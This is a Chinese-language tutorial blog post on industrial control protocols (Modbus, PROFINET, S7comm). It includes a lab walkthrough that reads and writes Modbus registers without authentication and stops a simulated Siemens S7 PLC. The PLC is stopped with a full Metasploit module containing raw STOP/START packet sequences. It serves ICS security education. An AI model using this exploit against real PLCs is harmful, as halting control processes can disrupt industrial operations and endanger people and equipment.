[ICS] Modbus未授权攻击S7协议漏洞利用

news2024/9/21 20:39:50

工业控制系统历史

在可编程逻辑控制器(plc)成为标准之前,工厂车间自动化是通过机架和机架的工业继电器,气动柱塞计时器和电磁计数器来控制电机的启动和停止,阀门的打开以及其他与控制相关的过程交互。运行这种设置的控制程序根本不是程序,而是相互连接的电路、定时器和继电器的组合。通过形成电路径,诸如打开阀门、运行马达和开灯等物理动作就完成了。

image-4.png

经过一些最初的尝试和错误,1975年发布的Modicon 184是第一个被正确称为可编程逻辑控制器的设备。

image-5.png

这些早期型号的plc具有输入和输出信号,继电器线圈/触点内部逻辑,定时器和计数器的工作能力。这些单元的编程最初是用运行在个人计算机上的专有编程软件完成的,通过专有媒体和协议进行通信。随着PLC功能的发展,编程设备及其通信也在不断发展。

很快,运行编程应用程序的基于微软windows的pc机将被用于编程plc。有一台PC机与PLC通信提供了编程的能力
PLC。它还允许更容易的测试和故障排除。通信协议开始于Modbus协议,使用RS-232串行通信媒体。随后,在RS-485、DeviceNet、PROFIBUS和其他串行通信介质上操作的其他自动化通信协议紧随其后。串行通信和各种PLC协议的使用允许PLC与其他PLC联网。

自动抄表协议

你还记得上次收费员停在你家给你抄表是什么时候吗?大量的研究和开发已经投入到创造更方便的方法来获取客户从燃气、电力、制冷等方面的仪表读数。这些解决方案包括:支持射频(RF)的电表,可以在靠近城市街区的地方读取,覆盖智能电表的无线网络,每种解决方案都有自己的安全挑战:

image.png

通常用于自动抄表的协议包括AMR、AMI、WiSmart (Wi-Fi)、GSM和电力线通信(PLC)。

下图显示了这些协议通常在ICS体系结构中的位置

image-1.png

企业区内的通信协议

企业区域网络将看到使用HTTP或HTTPS协议的web流量,IMAP、POP3和SMTP形式的电子邮件,文件传输和共享协议(如FTP和SMTP)SMB和许多其他的。所有这些协议都有自己的安全挑战和漏洞。如果你的ICS网络(工业区)和业务网络(企业区)使用相同的物理网络,则这些漏洞可能直接影响你的生产系统。业务系统和生产系统共用一个网络是不安全的。

企业区是工厂或设施连接到Internet的地方,通常通过如下图所示的设置连接到Internet

image-2.png

  • 企业网络通常通过边缘路由器和某种形式的调制解调器连接到互联网,调制解调器将ISP提供的服务(如T1或光载波(OC1)介质)转换为在整个企业网络的其余部分使用的以太网。专用防火墙将使用端口阻塞和流量监控将业务网络安全地连接到ISP网络。企业互联网策略的常见做法是对出站流量使用代理防火墙,同时对传入流量进行严格限制。任何必要的面向公众的服务都将受到保护

  • 企业DMZ中的典型服务公开面对web服务器、公司的公共DNS服务器等。DMZ允许公共交通的着陆区域。如果DMZ中的服务受到威胁,则威胁将包含在DMZ中。进一步的转向尝试将被企业DMZ防火墙捕获

  • 企业内部网络由交换机、路由器、三层交换机、服务器、客户端计算机等终端设备组成。大多数公司都会通过vlan对内部网络进行划分。VLAN间的流量需要经过某种路由设备,比如三层交换机、防火墙或路由器,在这一点上,有访问控制列表(acl)或防火墙规则

近年来,工业区已经从使用专有的OT协议(如PROFIBUS、DeviceNet、ControlNet和Modbus)转变为使用通用的IT技术(如以太网和IP套件协议)。但是,在ICS系统的较低级别中仍然可以找到一些专有协议和网络媒体。下图显示了在ICS体系结构中可以找到其中一些,并提供了简短的描述

image-3.png

  • A - 硬连线设备:这些设备包括传感器、执行器以及其他使用离散信号(如24 VDC)或模拟信号(如4-20 mA或0-10 VDC)进行操作的设备。这些设备直接连接到PLC扩展IO卡或带有IO卡的远程通信机架中。

  • B - 现场总线协议:这些主要是专有协议,如DeviceNet、ControlNet、PROFIBUS和Modbus,提供实时控制和监控。这些协议可以将传感器和执行器等终端设备直接连接到PLC,而无需IO模块。它们也可以用于连接PLC或将远程机架连接到PLC。大多数(如果不是全部)现场总线协议都被改造为在以太网上工作并基于IP。

  • C - 嵌套以太网:尽管从技术上讲这不是一种不同的协议,嵌套以太网是一种隐藏或混淆控制网络部分的方法。只有通过它们所连接的设备才能看到这些部分。

Modbus和Modbus TCP/IP

自1979年推出以来,Modbus一直是事实上的标准。Modbus是一种应用层消息传递协议。它位于OSI模型的第7层,提供通过不同类型的通信总线或通信媒体连接的设备之间的客户机/服务器通信。Modbus是使用最广泛的ICS协议,主要是因为它是一种经过验证的可靠协议,实现简单,并且不需要任何版税即可开放使用:

image-6.png

在上图的左边,我们看到Modbus通过串行通信(RS-232或RS-485)。使用相同的应用层协议进行通信以太网,如右侧所示。

Modbus协议是建立在请求和应答模型之上的。它将函数代码与数据段结合使用。功能代码指定请求或响应哪个服务,数据部分提供应用于该功能的数据。功能码和数据段在协议数据单元PDU (Protocol data Unit)中指定Modbus分组帧:

image-7.png

以下是Modbus功能码列表及其说明:

FunctionDescription
FC=01读继电器输出
FC=02读开关量输入
FC=03读取多个保持寄存器
FC=04读输入寄存器
FC=05写单线圈寄存器
FC=06写单线圈保持寄存器
FC=07读例外状态
FC=08诊断
FC=11获取通信事件计数器(仅限串行线)
FC=12获取通信事件日志(仅限串行线)
FC=14读取设备标识
FC=15写多个线圈
FC=16写入多个保持寄存器
FC=17报表Slave ID
FC=20读文件记录
FC=21写文件记录
FC=22屏蔽写寄存器
FC=23读/写多个寄存器
FC=24读FIFO队列
FC=43读取设备标识

每种通信介质的PDU都是相同的。因此,无论使用串行还是以太网都可以找到PDU。Modbus适应不同媒体的方式是通过网络应用数据单元(ADU):

image-8.png

ADU 的结构因所使用的通信介质而异。例如,串行通信的 ADU 由地址头、PDU 和错误校验尾部组成。

image-9.png

另一方面,对于 Modbus TCP/IP,寻址由以太网数据包的 IP 和 TCP 层完成,ADU 帧由 Modbus 应用头 (MBAP) 和 PDU 组成,而省略了错误校验尾部。

image-10.png

Modbus未授权攻击

(arch)$ sudo python3 -m pip install pyModbus

image-13.png

启动异步Modbus服务

# Modbus_server.py
import asyncio
from pymodbus.server.async_io import ModbusTcpServer
from pymodbus.device import ModbusDeviceIdentification
from pymodbus.datastore import ModbusSequentialDataBlock, ModbusSlaveContext, ModbusServerContext

# Create a datastore and populate it with test data
store = ModbusSlaveContext(
    di=ModbusSequentialDataBlock(0, [17] * 100),  # Discrete Inputs initializer
    co=ModbusSequentialDataBlock(0, [17] * 100),  # Coils initializer
    hr=ModbusSequentialDataBlock(0, [17] * 100),  # Holding Registers initializer
    ir=ModbusSequentialDataBlock(0, [17] * 100)   # Input Registers initializer
)
context = ModbusServerContext(slaves=store, single=True)

# Populate the Modbus server information fields, these get returned as response to identity queries
identity = ModbusDeviceIdentification()
identity.VendorName = 'PyModbus Inc.'
identity.ProductCode = 'PM'
identity.VendorUrl = 'https://github.com/riptideio/pymodbus'
identity.ProductName = 'Modbus Server'
identity.ModelName = 'PyModbus'
identity.MajorMinorRevision = '1.0'

# Start the listening server
async def run_server():
    print("Starting Modbus server...")
    server = ModbusTcpServer(context, identity=identity, address=("0.0.0.0", 502))
    await server.serve_forever()

# Run the server
if __name__ == "__main__":
    asyncio.run(run_server())

(arch)$ sudo python3 Modbus_server.py

image-14.png

(kali)$ sudo gem install modbus-cli

modbus 是一个命令行工具,用于与支持 Modbus 协议的设备进行通信。Modbus 是一种常用的工业通信协议,通常用于自动化设备、传感器和控制器之间的通信

例如,下面的命令将输出并读取线圈1的状态:
从 %M1 开始读取连续的 5 个寄存器或状态位的值

(kali)$ modbus read 192.168.101.144 %M1 5

image-15.png

Modbus 用户将会识别到请求寄存器的语法,%M,它表示线圈位。

Modbus 命令支持地址区域 1 到 99999 用于线圈,以及 400001 到 499999 用于其余的寄存器,使用 Modicon 地址格式。在 Schneider 地址格式中,%M 地址与 %MW 的值位于不同的内存中,但是 %MW、%MD 和 %MF 都共享同一块内存。因此,%MW0 和 %MW1 与 %MF0 共享同一块内存空间。

Data typeData sizeSchneider addressModicon addressParameter
Words (unsigned)16 bits%MW1400001–word
Integer (signed)16 bits%MW1400001–int
Floating point32 bits%MF1400001–float
Double words32 bits%MD1400001–dword
Boolean (coils)1 bit%M1N/AN/A

该命令创建以下请求报文:

image-16.png

image-20.png

读取前5个输入寄存器:

(kali)$ modbus read 192.168.101.144 1 5

image-17.png

读取从地址400001开始的10个整数寄存器:

(kali)$ modbus read --word 192.168.101.144 400001 10

image-18.png

对线圈写入:

(kali)$ modbus write 192.168.101.144 1 0

image-19.png

可能性是广泛的。请随意使用它们并进行实验。从这个练习中得到的最大收获应该是,这些命令都不需要任何形式的身份验证或授权。这意味着任何知道支持modbus的设备(PLC)地址的人都可以读写其内存和I/O库。

ICS安全:https://www.cisa.gov/topics/industrial-control-systems

网站 www.cisa.gov 属于美国国土安全部(Department of Homeland Security, DHS)下属的一个机构,称为“国家网络与信息安全局”(Cybersecurity and Infrastructure Security Agency, CISA)。CISA 的职责包括协调和增强美国的网络和信息基础设施的安全性,以及对抗网络威胁和攻击,提供技术支持和建议,以确保国家的网络安全和信息基础设施的保护。

PROFINET

Process Field Net(PROFINET)是一种符合IEC 61784-2标准的工业技术标准。它用于在工业以太网上进行数据通信,设计用于从工业系统中收集数据并控制设备,其传输时间接近1毫秒。该标准由位于德国卡尔斯鲁厄的PROFIBUS & PROFINET国际(PI)维护和支持。

PROFINET不应与PROFIBUS混淆,PROFIBUS是一种用于实时自动化目的的现场总线通信标准,最初由德国教育和研究部门于1989年引入,后来由西门子采用。下图显示了工业控制系统中每种协议的具体位置。

image-23.png

PROFINET支持Ethernet、HART、ISA100和Wi-Fi,以及旧设备上发现的传统总线,以消除替换这些遗留系统的需求。尽管这降低了拥有成本,但对遗留设备及其协议的向后兼容性使得实施容易受到标准Internet协议攻击和漏洞的影响,例如重放攻击、嗅探和数据包篡改。

PROFINET标准使用以下三种服务:

  • TCP/IP,它提供了大约100毫秒的响应时间
  • 实时(RT)协议,使用10毫秒的周期时间
  • 等时实时(IRT),使用1毫秒的周期时间

image-24.png

PROFINET TCP/IP和RT协议共同工作,基于工业以太网。RT协议通过在网络数据包中省略TCP和IP层来缩短响应时间,使得实时协议成为仅在本地网络中使用的协议,不支持路由。PROFINET在配置或诊断时使用TCP/IP协议,但在需要确定性消息时跳过传输控制协议(TCP)和因特网协议(IP)层。等时实时协议使用以太网堆栈的扩展,需要专用硬件来运行。

以下是PROFINET标准中定义的一些协议列表。虽然还有更多,但这些协议最常见于遵循PROFINET标准的工业网络中:

  • PROFINET TCP/IP:用于配置和诊断,支持TCP/IP协议栈。
  • PROFINET RT(Real-Time实时协议):用于要求响应时间更短的应用场景,省略了TCP和IP层,仅在本地网络内使用,不支持路由。
  • 等时实时协议(Isochronous Real-Time):使用以太网堆栈的扩展,需要特殊的硬件支持。
  • PROFINET/IO:用于与现场IO设备进行通信的协议。
  • PROFINET/MRP:MRP代表媒体冗余协议。这个协议用于实现冗余技术的网络中,通过提供次要处理、IO和通信来最大化可用性。
  • PROFINET/PTCP:PTCP代表精密时间控制协议。这是一个链路层协议,用于在PLC之间同步时钟和时间源。
  • PROFINET/RT:实时协议,用于实时传输数据。
  • PROFINET/MRRT:MRRT提供PROFINET/RT协议的媒体冗余,即提供备用通信路径。

S7通信协议停止CPU漏洞

PROFINET标准中没有直接包含,但通常与之在同一工厂区域或工业控制系统(ICS)网络中使用的是S7comm协议。S7comm(也称为S7通信)是西门子的专有协议,允许可编程逻辑控制器(PLC)之间或PLC与编程终端之间进行通信。它用于简化PLC的编程、多个PLC之间的通信,或者SCADA(监控与数据采集)系统与PLC之间的通信。S7comm协议基于COTP(连接导向传输协议),后者是ISO协议族中的连接传输协议。更多关于ISO协议族的详细信息,请参阅https://wiki.wireshark.org/IsoProtocolFamily。

下表显示了ISO协议族核心协议的简化概述:

Sr.OSI layerProtocol
7Application layerS7 communication
6Presentation layerS7 communication
5Session layerS7 communication
4Transport layerCOTP
3Network layerInternet Protocol
2Data link layerEthernet
1Physical layerEthernet

建立与S7 PLC的连接有三个步骤:

  • 在TCP端口102上连接到PLC。
  • 在ISO层上进行连接(2. COTP连接请求)。
  • 在S7comm层上进行连接(3.s7comm.param.func = 0xf0,设置通信)。

步骤1使用PLC/CP的IP地址

第2步使用一个长度为2字节的目标TSAP作为目的地。目标TSAP的第一个字节编码通信类型(1=PG, 2=OP)。目标TSAP的第二个字节编码机架和槽号:这是PLC CPU的位置。槽号编码在位0-4中,机架号编码在位5-7中。

第3步用于协商S7comm特定的细节(例如PDU大小)。

在Siemens PLC中存在一个已知的功能/漏洞,攻击者可以利用这一漏洞远程停止S7 PLC。让我们看看这种漏洞是如何被攻击的。

(arch)$ sudo python3 -m pip install python-snap7

>>> import snap7
>>> s7server = snap7.server.Server()
>>> s7server.create()
>>> s7server.start()
>>> s7server.get_status()

我们可以看到当前模拟PLC的状态运行中

image-25.png

通过msf进行漏洞利用

(kali)$ msfconsole

msf> searchsploit -w 'Siemens Simatic S7'

image-26.png

我们需要将模块载入msf

image-27.png

需要将
OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),修改为OptInt.new('MODE', [false, 'Mode 1 to Stop CPU. Set Mode to 2 to put the CPU back into RUN mode.',1]),

最后的脚本

# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Rex::Socket::Tcp
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
		  'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
		  'Description'   => %q{
				The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
				this modules allows an attacker to perform administrative commands without authentication.
				This module allows a remote user to change the state of the PLC between
				STOP and START, allowing an attacker to end process control by the PLC.
			},
		  'Author'			=> 'Dillon Beresford',
		  'License'     			=> MSF_LICENSE,
		  'References'     =>
				[
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
				],
			'Version'        => '$Revision$',
		  'DisclosureDate' => 'May 09 2011'
		  ))

		  register_options(
			  [
				  Opt::RPORT(102),
				  OptInt.new('MODE', [false, 'Mode 1 to Stop CPU. Set Mode to 2 to put the CPU back into RUN mode.',1]),
				  OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
		    ], self.class)
		end

    def run_host(ip)
		begin

		cpu = datastore['MODE'] || ''
		cycles = datastore['CYCLES'] || ''

		stop_cpu_pkt =
		  [
		    	       "\x03\x00\x00\x16\x11\xe0\x00\x00"+
		               "\x00\x01\x00\xc1\x02\x01\x00\xc2"+
			       "\x02\x01\x02\xc0\x01\x09",

				"\x03\x00\x00\x19\x02\xf0\x80\x32"+
				"\x01\x00\x00\xff\xff\x00\x08\x00"+
				"\x00\xf0\x00\x00\x01\x00\x01\x03"+
				"\xc0",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x00\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x40\x00\x01\x84\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x21\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x02\x00\x10\x00"+
				"\x00\x29\x00\x00\x00\x00\x00\x09"+
				"\x50\x5f\x50\x52\x4f\x47\x52\x41"+
				"\x4d",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

			  	"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00"
		  ]

		start_cpu_pkt =
		  [
		   	        "\x03\x00\x00\x16\x11\xe0\x00\x00"+
				"\x00\x01\x00\xc1\x02\x01\x00\xc2"+
				"\x02\x01\x02\xc0\x01\x09",

				"\x03\x00\x00\x19\x02\xf0\x80\x32"+
				"\x01\x00\x00\xff\xff\x00\x08\x00"+
				"\x00\xf0\x00\x00\x01\x00\x01\x03"+
				"\xc0",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x00\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x40\x00\x01\x84\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",


				"\x03\x00\x00\x25\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x02\x00\x14\x00"+
				"\x00\x28\x00\x00\x00\x00\x00\x00"+
				"\xfd\x00\x00\x09\x50\x5f\x50\x52"+
				"\x4f\x47\x52\x41\x4d"

				]
		# CPU STOP
		if(cpu == 1)
		connect()
		stop_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
	  # CPU START
	  if(cpu == 2)
		connect()
		start_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
	# STOP / START CPU
	for n in 0..cycles
	  if(cpu == 3)
		connect()
		# We assume PLC is up and running (issue a stop command)
		stop_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		end

		connect()
		# We assume PLC is has been stopped (issue a start command)
	  start_cpu_pkt.each do |i|
	    sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
  end

	data = sock.get_once()
		print_good("#{ip} PLC is running, iso-tsap port is open.")
	if(cpu == 'true')
		print_status("Putting the PLC into START mode.")
			elsif(cpu == 'false')
				print_status("Putting the PLC into STOP mode.")
			end
			disconnect()
			rescue ::EOFError
		end
	end
end

保存名为S7.rb

$ cd ~/.msf4/modules/
$ mkdir -p auxiliary/hardware/scada
$ cp /home/maptnh/Desktop/S7.rb ~/.msf4/modules/auxiliary/hardware/scada/
$ service postgresql start

msf> search siemens

image-28.png

msf> use auxiliary/hardware/scada/S7

image-29.png

西门子Simatic S7-300/400 S7 CPU在ISO-TSAP上的启动和停止功能存在漏洞,允许攻击者在未经身份验证的情况下执行管理命令。该模块允许远程用户在PLC的STOP和START状态之间切换,使攻击者能够终止PLC的过程控制。

msf> set RHOSTS 192.168.101.144
msf> exploit

image-30.png

PLC被停止了

image-31.png

为什么会成功呢?如果你还记得,PROFINET和大多数其他ICS协议不包括使用身份验证的功能。任何拥有适当工具和PLC地址知识的人都可以发送此停止命令。用于查找HEX值的停止命令序列的方法与我们在前面的练习中查找用于发现本地网络连接节点的命令的方法几乎相同。它可以归结为监视编程站与PLC或终端设备之间的通信。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1908161.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

鲁能巴蜀中学洛谷团队

鲁能巴蜀中学洛谷团队出错了 - 洛谷https://www.luogu.com.cn/team/76926

案例精选 | 聚铭综合日志分析系统为江苏省电子口岸构建高效安全的贸易生态

江苏省电子口岸有限公司&#xff0c;成立于2009年&#xff0c;由江苏省贸促会携手南京海关、江苏检验检疫局及江苏海事局等部门共同出资组建。公司承载着推动江苏乃至长三角地区国际贸易便利化的重大使命&#xff0c;致力于打造一个集先进性、创新性、高效性于一体的电子口岸综…

学习笔记——动态路由——OSPF(认证)

十二、OSPF邻居认证 1、OSPF邻居认证概述 链路是路由器接口的另一种说法&#xff0c;因此OSPF也称为接口状态路由协议。OSPF通过路由器之间通告网络接口的状态来建立链路状态数据库&#xff0c;生成最短路径树&#xff0c;每个OSPF路由器使用这些最短路径构造路由表。 OSPF认…

vue3自自定义插件注册全局事件

一. 首先在components中定义自定义组件 二. 然后在components下建立一个index.ts文件 index.ts中的代码如下 // 引入项目中全部的全局组件 import SvgIcon from ./SvgIcon/index.vue import pagination from ./pagination/index.vue // 全局对象 const allGloablComponen…

一文清晰了解HTML——简单实例

想要仿照该页面编写HTML代码&#xff1a; 在vscode中输入&#xff01;自动生成默认模板&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevic…

vite工程化开发配置---持续更新

vite支持tsx开发 根据之前写的文章vue3vitetseslintprettierstylelinthuskylint-stagedcommitlintcommitizencz-git里面tsconfig配置了jsx相关选项&#xff0c;但是想要vite能够识别我们还需要配置一下 安装vitejs/plugin-vue-jsx pnpm i -D vitejs/plugin-vue-jsxvite.confi…

Linux系统编程——线程控制

目录 一&#xff0c;关于线程控制 二&#xff0c;线程创建 2.1 pthread_create函数 2.2 ps命令查看线程信息 三&#xff0c;线程等待 3.1 pthread_join函数 3.2 创建多个线程 3.3 pthread_join第二个参数 四&#xff0c;线程终止 4.1 关于线程终止 4.2 pthread_exit…

为什么KV Cache只需缓存K矩阵和V矩阵,无需缓存Q矩阵?

大家都知道大模型是通过语言序列预测下一个词的概率。假定{ x 1 x_1 x1​&#xff0c; x 2 x_2 x2​&#xff0c; x 3 x_3 x3​&#xff0c;…&#xff0c; x n − 1 x_{n-1} xn−1​}为已知序列&#xff0c;其中 x 1 x_1 x1​&#xff0c; x 2 x_2 x2​&#xff0c; x 3 x_3 x…

MathType7.4.6.8最新免费下载,数学表达神器来袭!

大家好啊&#xff0c;我是爱分享的小能手&#xff01;今天要给大家安利一款神奇的工具——MathType7.4免费版本。这不仅仅是一个简单的数学公式编辑器&#xff0c;而是你学术写作和数学研究的强大助手&#xff0c;简直是数学爱好者的“瑞士军刀”&#xff01; MathType最新mac…

前端面试题17(js快速检索方法详解)

在前端JavaScript中&#xff0c;快速检索数据通常涉及到数组或对象的搜索。这里我会介绍几种常见的快速检索方法&#xff0c;并提供相应的代码示例。 1. 数组的find和findIndex方法 find: 返回数组中满足条件的第一个元素的值。findIndex: 返回数组中满足条件的第一个元素的索…

ASAN排查程序中内存问题使用总结

简介 谷歌有一系列Sanitizer工具&#xff0c;可用于排查程序中内存相关的问题。常用的Sanitizer工具包括&#xff1a; Address Sanitizer&#xff08;ASan&#xff09;&#xff1a;用于检测内存使用错误。Leak Sanitizer&#xff08;LSan&#xff09;&#xff1a;用于检测内存…

2-28 基于matlab提取出频域和时域信号的29个特征

基于matlab提取出频域和时域信号的29个特征&#xff0c;主运行文件feature_extraction&#xff0c;fre_statistical_compute和time_statistical_compute分别提取频域和时域的特征&#xff0c;生成的29个特征保存在生成的feature矩阵中。程序已调通&#xff0c;可直接运行。 2-2…

mp4视频太大怎么压缩不影响画质,mp4文件太大怎么变小且清晰度高

在数字化时代&#xff0c;我们常常面临视频文件过大的问题。尤其是mp4格式的视频&#xff0c;文件大小往往令人望而却步。那么&#xff0c;如何在不影响画质的前提下&#xff0c;有效地压缩mp4视频呢&#xff1f;本文将为您揭秘几种简单实用的压缩技巧。 在分享和存储视频时&am…

入门 Vue Router

Vue Router Vue Router插件做了什么&#xff1f; 全局注册 RouterView 和 RouterLink 组件。添加全局 $router 和 $route 属性。启用 useRouter() 和 useRoute() 组合式函数。触发路由器解析初始路由。 标签介绍 RouterView 加载指定页面 <RouterLink to"/home"…

OpenAI Gym Atari on Windows

题意&#xff1a;在Windows系统上使用OpenAI Gym的Atari环境 问题背景&#xff1a; Im having issues installing OpenAI Gym Atari environment on Windows 10. I have successfully installed and used OpenAI Gym already on the same system. It keeps tripping up when t…

Java 静态变量、静态代码块、普通代码块、构造方法的执行顺序

今天碰到这个问题&#xff0c;看了课程以及资料&#xff0c;做出解答。这是我自己绘制的图&#xff0c;按从上到下&#xff0c;从左到右的顺序执行。如有问题请联系我修正。 要点&#xff1a; 1、执行顺序分为两步&#xff0c;类加载和初始化阶段。 2、因为静态变量和静态代码块…

如何使用Selenium处理Cookie,今天彻底学会了!_selenium获取cookies(1)

02、session介绍 session是另一种记录客户状态的机制&#xff0c;不同的是cookie保存在客户端浏览器中&#xff0c;而session保存在服务器上。客户端浏览器访问服务器的时候&#xff0c;服务器把客户端信息以某种形式记录在服务器上。存储在服务器的数据会更加的安全&#xff…

常见的认证方式

认证机制是一种用户确定用户身份或者权限的安全措施&#xff0c;比如用来验证某个用户是否有权限访问一个资源&#xff0c;如果认证通过&#xff0c;用户就可以成功访问&#xff0c;反之则会访问失败 常见的认证方式有四种&#xff0c;分别是 Basic、Digest、OAuth 和 Bearer …

【分布式系统】Filebeat+Kafka+ELK 的服务部署

目录 一.实验准备 二.配置部署 Filebeat 三.配置Logstash 四.验证 一.实验准备 结合之前的博客中的实验 主机名ip地址主要软件es01192.168.80.101ElasticSearches02192.168.80.102ElasticSearches03192.168.80.103ElasticSearch、Kibananginx01192.168.80.104nginx、Logs…

影视灯方案 H5228升降压恒流芯片 48V60V80V100V共阳0.01%深度调光无频闪

H5228 升降压恒流芯片是一款为 LED 照明应用设计的驱动解决方案&#xff0c;具有宽电压输入范围、高精度的恒流控制和多样的调光功能&#xff0c;适用于智能照明、摄影灯照明以及补光灯照明等领域。以下是对其特点和应用的详细分析&#xff1a; 产品特点 拓扑结构支持&#xf…